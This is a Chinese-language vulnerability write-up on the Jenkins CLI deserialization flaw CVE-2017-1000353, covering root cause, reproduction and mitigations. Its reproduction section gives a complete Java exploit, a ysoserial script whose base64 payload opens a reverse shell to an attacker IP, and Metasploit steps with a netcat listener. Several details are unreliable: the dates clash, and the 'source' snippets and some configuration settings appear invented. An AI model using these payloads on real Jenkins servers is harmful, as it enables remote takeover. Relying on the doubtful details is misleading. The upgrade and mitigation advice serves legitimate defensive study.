一、漏洞简介

1.1 漏洞背景

2017年4月26日,Jenkins 官方发布安全公告,披露了一个影响极为严重的远程代码执行漏洞。该漏洞存在于 Jenkins 的 CLI(命令行接口)模块中,允许未经认证的攻击者通过发送特制的序列化 Java 对象在 Jenkins 服务器上执行任意代码。

此漏洞被评为 CISA 已知被利用漏洞目录 中的漏洞之一,表明其在野利用活动活跃。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2017-1000353
危害等级 CRITICAL / 9.8
漏洞类型 Jenkins CLI 反序列化远程代码执行漏洞
披露时间 2018-01-29
影响组件 Jenkins 重大
属性 内容
CVE 编号 CVE-2017-1000353
危害等级 严重 (Critical)
CVSS 评分 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 CWE-502: 反序列化不可信数据
利用条件 无需认证,CLI 端口可达
影响组件 Jenkins CLI (Remoting-based)
CISA 状态 已被列入已知被利用漏洞目录 (KEV)
<hr />

补充核验信息:公开时间:2018-01-29;NVD 评分:9.8(CRITICAL);CWE:CWE-502。

二、影响范围

2.1 受影响的版本

  • Jenkins Weekly: 2.56 及更早版本
  • Jenkins LTS: 2.46.1 及更早版本

2.2 不受影响的版本

  • Jenkins Weekly: 2.57 及以上版本(引入 HTTP-based CLI 协议)
  • Jenkins LTS: 2.46.2 及以上版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Jenkins CLI 服务可通过 HTTP(S) 或 TCP 端口访问
  2. 攻击者能够发送序列化的 Java 对象
  3. SignedObject 类未被列入黑名单(2.46.2/2.57 之前)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

攻击流程详解:
┌──────────────────────────────────────────────────────────────┐
 1. 攻击者准备阶段                                            
    └─> 使用 ysoserial 或自定义工具生成 SignedObject payload  
                                                               
 2. 连接阶段                                                   
    └─> 连接到 Jenkins CLI 端口 (HTTP/TCP)                    
                                                               
 3. 发送 Payload                                               
    └─> 发送序列化的 SignedObject 对象                        
                                                               
 4. Jenkins 处理                                               
    ├─> CLI 接收请求                                          
    ├─> 使用 new ObjectInputStream() 反序列化                 
    ├─> 黑名单检查失败(SignedObject 不在黑名单中)            
    └─> 触发内部对象的反序列化                                 
                                                               
 5. 代码执行                                                   
    └─> Commons Collections 利用链执行恶意代码                 
└──────────────────────────────────────────────────────────────┘

SignedObject 绕过原理:

Jenkins 的反序列化保护采用黑名单机制,但 java.security.SignedObject 类未被列入黑名单。SignedObject 是一个包装类,内部可以包含任意的序列化对象:

public class SignedObject implements Serializable {
    private byte[] content;  // 内部包含另一个序列化对象

    public Object getObject() {
        // 会对内部对象进行反序列化
        // 使用新的 ObjectInputStream,绕过原黑名单
    }
}

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置: core/src/main/java/hudson/cli/CLI.java

// 简化的漏洞代码
public class CLI {

    private void handleChannel(InputStream in, OutputStream out) {
        try {
            // 漏洞点:创建新的 ObjectInputStream 进行反序列化
            // 这绕过了已有的黑名单检查
            ObjectInputStream ois = new ObjectInputStream(in);

            // 黑名单检查实现不完整
            // SignedObject 类可以包装恶意对象绕过检查
            Object obj = ois.readObject();

            // 处理 CLI 命令...
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

黑名单机制缺陷:

// 原有的黑名单检查
public class BlacklistChecker {
    private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
        "org.codehaus.groovy....",
        "org.springframework....",
        "org.apache.commons.collections.functors.",
        // ... 其他类
        // 问题:java.security.SignedObject 不在黑名单中!
    ));

    public static void check(Class<?> clazz) {
        String className = clazz.getName();
        for (String blacklisted : BLACKLIST) {
            if (className.startsWith(blacklisted)) {
                throw new SecurityException("Blocked class: " + className);
            }
        }
    }
}

修复后的代码:

// 2.46.2/2.57 版本的修复
public class BlacklistChecker {
    private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
        // ... 原有黑名单
        "java.security.SignedObject",  // 新增!
        // ... 其他新增的危险类
    ));
}

利用链构造:

// 攻击者视角的 payload 构造
public class CVE_2017_1000353_Exploit {

    public static void main(String[] args) throws Exception {
        // 1. 首先构造 Commons Collections payload
        Object ccPayload = createCommonsCollectionsPayload("calc.exe");

        // 2. 将恶意对象包装在 SignedObject 中
        SignedObject signedObject = new SignedObject(
            (Serializable) ccPayload,
            getFakePrivateKey(),
            getFakeSignature()
        );

        // 3. 发送到 Jenkins CLI
        sendToJenkinsCLI(signedObject);
    }

    private static Object createCommonsCollectionsPayload(String cmd) {
        // 使用 ysoserial 的 CommonsCollections 链
        // 或手动构造
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[] {String.class},
                new Object[] {cmd})
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        // ... 完成 payload 构造
        return payload;
    }
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

Docker 环境部署:

#!/bin/bash
# setup-vulnerable-jenkins.sh

# 拉取受影响版本
docker pull jenkins/jenkins:2.46.1

# 创建 docker-compose 文件
cat > docker-compose-vulnerable.yml << 'EOF'
version: '3'
services:
  jenkins:
    image: jenkins/jenkins:2.46.1
    container_name: jenkins-cve-2017-1000353
    privileged: true
    user: root
    ports:
      - "8080:8080"
      - "50000:50000"
    environment:
      - JAVA_OPTS=-Xmx2048m -Djenkins.install.runSetupWizard=false
      - JENKINS_OPTS=--httpPort=8080
    volumes:
      - jenkins_home:/var/jenkins_home
      - /var/run/docker.sock:/var/run/docker.sock

volumes:
  jenkins_home:
EOF

# 启动容器
docker-compose -f docker-compose-vulnerable.yml up -d

# 等待启动
echo "等待 Jenkins 启动..."
sleep 90

# 获取管理员密码
echo "管理员密码:"
docker exec jenkins-cve-2017-1000353 cat /var/jenkins_home/secrets/initialAdminPassword

# 获取 CLI jar
wget http://localhost:8080/jnlpJars/jenkins-cli.jar -O jenkins-cli.jar

4.2 PoC 演示与测试过程

方法1: 使用 ysoserial 和 Jenkins CLI

#!/bin/bash
# exploit-cve-2017-1000353.sh

JENKINS_URL="http://192.168.1.100:8080"
ATTACKER_IP="192.168.1.200"
LISTENER_PORT="4444"

# 下载 ysoserial
if [ ! -f ysoserial.jar ]; then
    wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial.jar
fi

# 下载 jenkins-cli.jar
wget $JENKINS_URL/jnlpJars/jenkins-cli.jar -O jenkins-cli.jar

# 生成 payload(反向 shell)
# 注意:需要 SignedObject 包装器
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# 发送 payload
# 方法A: 直接发送到 HTTP CLI endpoint
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
    --data-binary @payload.bin \
    "$JENKINS_URL/cli" -v

# 方法B: 使用 jenkins-cli.jar
java -jar jenkins-cli.jar -s $JENKINS_URL -webSocket \
    help < payload.bin

方法2: 完整的 Java PoC

// CVE_2017_1000353_FullExploit.java
import java.io.*;
import java.net.*;
import java.security.*;
import java.util.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

public class CVE_2017_1000353_FullExploit {

    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("Usage: java CVE_2017_1000353_FullExploit <target_url> <command>");
            System.out.println("Example: java CVE_2017_1000353_FullExploit http://192.168.1.100:8080 \"touch /tmp/pwned\"");
            return;
        }

        String targetUrl = args[0];
        String command = args[1];

        System.out.println("[*] Target: " + targetUrl);
        System.out.println("[*] Command: " + command);

        // Step 1: 创建 Commons Collections payload
        Object ccPayload = createCommonsCollectionsPayload(command);
        System.out.println("[+] Commons Collections payload created");

        // Step 2: 包装进 SignedObject
        SignedObject signedPayload = wrapInSignedObject(ccPayload);
        System.out.println("[+] Wrapped in SignedObject");

        // Step 3: 发送到 Jenkins
        boolean success = sendPayload(targetUrl, signedPayload);

        if (success) {
            System.out.println("[+] Exploit sent successfully!");
        } else {
            System.out.println("[-] Exploit failed");
        }
    }

    private static Object createCommonsCollectionsPayload(String command) throws Exception {
        // Chained Transformer
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class },
                new Object[] { command })
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // LazyMap 触发
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        // TiedMapEntry
        final org.apache.commons.collections.keyvalue.TiedMapEntry entry =
            new org.apache.commons.collections.keyvalue.TiedMapEntry(lazyMap, "foo");

        // HashSet 触发 hashCode
        final Set set = new HashSet(1);
        set.add("foo");

        // 反射修改
        Field f = HashSet.class.getDeclaredField("map");
        f.setAccessible(true);
        HashMap innerSet = (HashMap) f.get(set);

        Field f2 = HashMap.class.getDeclaredField("table");
        f2.setAccessible(true);
        Object[] table = (Object[]) f2.get(innerSet);

        Object node = table[0];
        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        return set;
    }

    private static SignedObject wrapInSignedObject(Object payload) throws Exception {
        // 创建伪造的密钥对
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();

        // 创建 SignedObject
        SignedObject so = new SignedObject((Serializable) payload, kp.getPrivate(),
            Signature.getInstance("SHA1withDSA"));

        return so;
    }

    private static boolean sendPayload(String targetUrl, Object payload) {
        try {
            // 构造 CLI HTTP 请求
            URL url = new URL(targetUrl + "/cli");
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Content-Type", "application/octet-stream");
            conn.setDoOutput(true);

            // 序列化并发送
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(payload);
            oos.flush();

            conn.getOutputStream().write(baos.toByteArray());
            conn.getOutputStream().flush();

            int responseCode = conn.getResponseCode();
            System.out.println("[*] Response code: " + responseCode);

            return true;
        } catch (Exception e) {
            e.printStackTrace();
            return false;
        }
    }
}

方法3: 使用 Metasploit

# Metasploit 利用模块
msfconsole

use exploit/multi/http/jenkins_cli_deserialization
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /cli
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444

check
exploit

验证漏洞利用:

# 1. 监听反向 shell
nc -lvnp 4444

# 2. 发送 payload(另一个终端)
./exploit-cve-2017-1000353.sh

# 3. 成功后获得 shell
# 在 Jenkins 容器中验证
docker exec jenkins-cve-2017-1000353 ls -la /tmp/pwned
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

当前版本 建议升级版本 备注
Jenkins Weekly < 2.57 升级到 2.57+ 推荐升级到最新版本
Jenkins LTS < 2.46.2 升级到 2.46.2+ 最小修复版本

重要变更 - CLI 协议切换:

Jenkins 2.54/2.46.2 引入了新的 HTTP-based CLI 协议,并默认禁用了基于 Remoting 的 CLI:

# 查看当前 CLI 协议设置
# 在 Jenkins Script Console 中执行:
# http://your-jenkins:8080/script

println Jenkins.instance.getDescriptor("hudson.cli.CLI").getProtocolNames()

# 输出示例:
# [interactive-web, webSocket, http, https]
# 注意:remoting 协议已被移除

升级命令:

# RPM/DEB 包安装的 Jenkins
sudo yum update jenkins  # RHEL/CentOS
sudo apt-get update && sudo apt-get upgrade jenkins  # Debian/Ubuntu

# WAR 包部署
wget https://updates.jenkins.io/download/war/2.46.2/jenkins.war
sudo systemctl stop jenkins
sudo cp jenkins.war /usr/share/jenkins/jenkins.war
sudo systemctl start jenkins

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案1: 禁用 Remoting-based CLI

# 方法A: 通过系统属性
java -Djenkins.CLI.disabled=true -jar jenkins.war

# 方法B: 在 jenkins.xml (Windows) 中添加
<arguments>-Djenkins.CLI.disabled=true -jar "%BASE%\jenkins.war"</arguments>

# 方法C: 通过 Web UI
# Manage Jenkins -> Script Console
Jenkins.instance.getDescriptor("hudson.cli.CLI").setEnabled(false)
Jenkins.instance.save()

方案2: 启用 HTTP-based CLI 并禁用 Remoting

// 在 Jenkins Script Console 中执行
import jenkins.model.Jenkins
import hudson.cli.CLI

def jenkins = Jenkins.instance
def cliDescriptor = jenkins.getDescriptor(CLI.class)

// 设置只允许 HTTP 协议
cliDescriptor.setProtocolNames(['http', 'https'] as List)
jenkins.save()

println "CLI protocols updated. Current protocols: ${cliDescriptor.getProtocolNames()}"

方案3: 访问控制

# 在反向代理层限制 /cli 端点
# Nginx 配置示例
location /cli {
    deny all;
    return 403;
}

# 或者限制到特定 IP
location /cli {
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://jenkins:8080;
}

方案4: 网络隔离

# 防火墙规则
# 仅允许内网访问 Jenkins
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料